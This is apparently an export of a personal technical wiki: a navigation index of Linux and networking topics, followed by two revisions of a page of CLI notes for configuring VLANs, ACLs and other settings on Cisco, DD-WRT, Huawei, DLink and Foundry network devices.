** [[NetBoot]]
** [[Insync]] ''GoogleDrive(R) "emulator"''
*; Protocols
** [[SNMP]]
** [[NFS]] ''linux Networks''
** [[Samba]] ''windows networks''
** [[AFP]] ''Apple networks''
** [[rsync]]
** [[SSH]] ''Secure SHell''
** [[CVS]]
** [[Subversion]]
** [[Git]]
** [[FTP]]
** [[OpenVPN]] ''Virtual Private Network''
** [[wget]] ''HTTP from terminal''
** [[httrack]] ''freeze a website''
** [[RealTimeWebContent]]

|}
|width="10%"|
{|

=== Pure System ===
* [[CPU]] , [[CrossCompiling]]
* '''x86_64'''
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''
** [[Gentoo]]
*** [[make.conf|/etc/make.conf]]
*** [[USE_flags]] , [[webapp-config]]
* [[KDE (intorno)|KDE]] , [[Click destro KDE]]
* [[Gnome]]
* [[ Qemu ]]
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]
* [[VI|VI (Editor di testo)]]
* [[BASH]]
* [[Xorg]]
* [[PostInstallazioni]]
* [[BIOS]]
* [[processes and threads]]
* [[sudo]]
* [[RemoteConsoles]]
* [[systemd]]

=== Networking Layer ===

* [[Ethernet]]
** [[dhcp]]
** [[Bridging]]
** [[NAT]]
* [[Wireless]]
** [[Schede]]
** [[Wardriving]]
* [[Firewall (iptables)]]
* [[Livello Fisico|Physical Layer]]
* [[IP Protocol]]
* [[router-language]]
|}
|width="10%"|
{|

=== Multimedia ===
* Video
** [[Kodi]]
** [[Resolution Standards]]
** [[VideoCaptureAdapters]]
** [[MPLAYER_MENCODER|mplayer, mencoder & ffmpeg]]
** [[ffserver|ffserver]]
** [[crtmpserver|C++ rtmp Server]]
** [[motion]]
** [[Imagemagick]]
** [[DVDStyler]] (authoring DVD)
** [[PiTiVi]] (montaggio video)
** [[Kino]]
** [[youtube]]
** [[JWplayer]]
** [[DarwinStreamingServer]]
** [[Conversioni Numeriche]]
** [[webcamstudio]]
* Audio
** [[Volumio]]
** [[pulseaudio]]
** [[Amarok]]
** [[ESOUND]]
** [[SOX]]
** [[mpd]] ''Music server''
*; Network / Server
** [[Skype]]
** [[Converter]]
** [[RealMedia]]
** [[red5]]
** [[erlyvideo]]
** [[Beryl Window Manager]]
* Drivers
** [[saa713x]]
** [[touchscreen]]

|}
|width="10%"|
{|

=== Storage, File Systems & Data Recovery ===
* [[FileSystems]]
* [[devices and storage]] ''manage, analyze, etc.''
** [[SCSI]]
** [[Mounting devices]]
** [[crypted disk image]]
* [[RAID]]
* [[LVM]]
* [[Cattive abitudini]]
* [[Backups]]
** [[Bacula]]
* [[Propagazione]]
* [[ISO Managing (ISO9660)]]
* [[DRBD]]

=== Kernel ===
* [[Kernel_boot_parameters|Boot Parameters]]
* [[Configuring|Configuring & compiling]]
* [[Sheduling]]
* [[IO Sheduler]]
* [[mettere alla prova]]
* [[memory]]
* [[entropy]]
* [[clock]]

=== Monitoring & Security ===
* [[lm_sensors]] ''linux hardware sensor layer''
* [[Nagios]] ''advanced sesor-based network monitoring system''
* [[Munin]] ''draws graphs from system sensors''
* [[Ganglia]] ''graphs and host grouping for clusters''
* [[MRTG]] ''rrdtool based snmp-based switch grapher''
** '''''security'''''
* [[Tripwire]]
* [[Supervisord]]

|}
|}

== Crypto, Cypherpunks and Hippy Brokers ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Crypto world Information ===

News
* https://www.coindesk.com/
* https://cointelegraph.com/

data and graphs
* http://cryptocoin.cc/
* https://coinmarketcap.com/
* https://coincheckup.com/

|}
|width="10%"|
{|

* [[Crypto]] Exchanges and Stuff
* [[Wallets]]
** [[Ethereum]]
'' loosing money is very easy !!!'' if you're not sure, better send it to me...

|}
|width="10%"|
{|

=== Mining World ===

* [[Mining]] ''my notes and mining experiments'' (use with care!!)

|}
|}

== End Users Topics ==

{| width="100%"
|width="50%"|
{|

==== GNU/Linux distos ====

* [[Debian]]
** [[Ubuntu]]
** [[UbuntuStudio]]
* [[Scientific Linux]]
** [[RedHat Enterprise Linux]]
** [[CentOS]]

[[TabellaCaratteristicheDistribuzioni]]

[http://www.gentoo.org/][[Image:Gentoo.png]]

[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]

[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]

[https://www.scientificlinux.org][[Image:scientificlinux.gif]]

[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]

=== Programming/Scripting ===
* [[code analysis]] ''code analyzing software''
* [[BASH]]
* [[UML]]
* [[CSS]]
* [[PHP]]
* [[Javascript]]
* [[C]]
* [[SQL]]
* [[Curl]]
* [[Perl]]

|}
|width="50%"|
{|

===== Audio/Video =====
*'''[[Formati di Compressione]]'''
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''
*'''[[MPLAYER_MENCODER|Mplayer & Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''
*'''[[MIME Types]]''' ''associare tipi di file a programmi''
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''
*'''[[Audacity]]''' ''Editing audio''
*'''[[skype]]''' ''Skype & VoIP''
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''

===== Some Random Stuff =====
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''
*'''[[DB|i database multimediali]]'''
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''
*'''[[OpenVPN]]'''
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''
*; Apple
**'''[[Mac]]''' ''OSx''
** '''[[MacDevices]]''' ''using Apple devices on linux''
**'''[[maclinux]]''' ''Linux su MacBook''
**'''[[once upon a time, there was an apple]]'''
|}
|}

== The World Beyond IT==
{| border="0" align="center" width="100%"
|width="30%"|
{|
=== Robotics / Electtronic ===
* [[Propulsori Stepper]]
* [[Porta Parallela]]
* [[MicroControllori PIC]]

=== Links: ===

* http://foto.alessandrodelgallo.org my photo gallery
* http://videoteeka.com my video gallery software ''(outdated)''
* http://www.youtube.com/user/porcelinux old YouTube channel

* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]

|}
|width="30%"|
{|

=== Languages ===
* [[Italiano]]
** a wonderful dictionary http://www.wordreference.com/
** dizionario etimologico: http://www.etimo.it/
** dizionario italiano http://www.demauro.it/
* [[Spangolo]]
* [[English]]
* [[Olandese]]
** [[living in the nederlands|Living in the Netherlands]]
* [[Deutsch]]
** [[Living in Germany]]

*; [[Documicate]] what is [[documication]] ?

* [[NienteNadaNothing]]
|}
|}

If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc

Router-language

2022-06-23T16:02:33Z

Porcelinux: /* DD-WRT */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing '''<something>'''
nvram show|grep <something>
nvram show|grep ports

* unset all variables named/containing '''<something>'''
for a in $(nvram show|grep <something>|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

# nvram commit

*[edit] Port Attributes

0 or 1 to 15, or even 4096 This is the VLAN for the port. NOTE that due to the other attributes below, VLANs 16 to 21 are not supported!
16 Tagged
17 NOT Auto-Negotiate. (If #17 is off, you'll get 18, 19, and 21 on a gigabit switch)
18 = NOT forced-100 MBit (either Auto-Negotiate is used, or some other speed is forced)
19 = NOT Full-Duplex (either Auto-Negotiate is used, or Half-duplex is forced)
20 = NOT Enabled (ie. disabled)
21 = NOT forced-Gigabit (either Auto-Negotiate is used, or some other speed is forced)

=== VLAN ===

vlan#ports
Each vlan is assigned one or more ports plus the CPU port. Default vlan and tagging also specified.
port#vlans
Each port is assigned to one vlan (CPU to all vlans). Plus other per-port settings for speed, duplex, etc.
vlan#hwname
Activates a vlan, ensuring it is properly initialized.

*attributes
These are suffixes for the final CPU port number.
*"t"
tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan.
*"u"
used on WAN vlan, to ensure WAN traffic is untagged.
*"*"
used on default LAN VLAN, untagged incoming traffic goes here.

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== del vlan ===
[RouterBackup]undo interface Vlanif 6
[RouterBackup]undo Vlan 6

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== Save running config ===
[Router] save

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

<pre>
</pre>

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Router-language

2022-06-23T08:08:31Z

Porcelinux: /* DD-WRT */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing THISSSS
nvram show|grep THISSSS
nvram show|grep ports

* unset all variables named/containing THISSSS
for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

=== VLAN ===

*attributes
These are suffixes for the final CPU port number.
*"t"
tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan.
*"u"
used on WAN vlan, to ensure WAN traffic is untagged.
*"*"
used on default LAN VLAN, untagged incoming traffic goes here.

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== del vlan ===
[RouterBackup]undo interface Vlanif 6
[RouterBackup]undo Vlan 6

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== Save running config ===
[Router] save

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

<pre>
</pre>

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

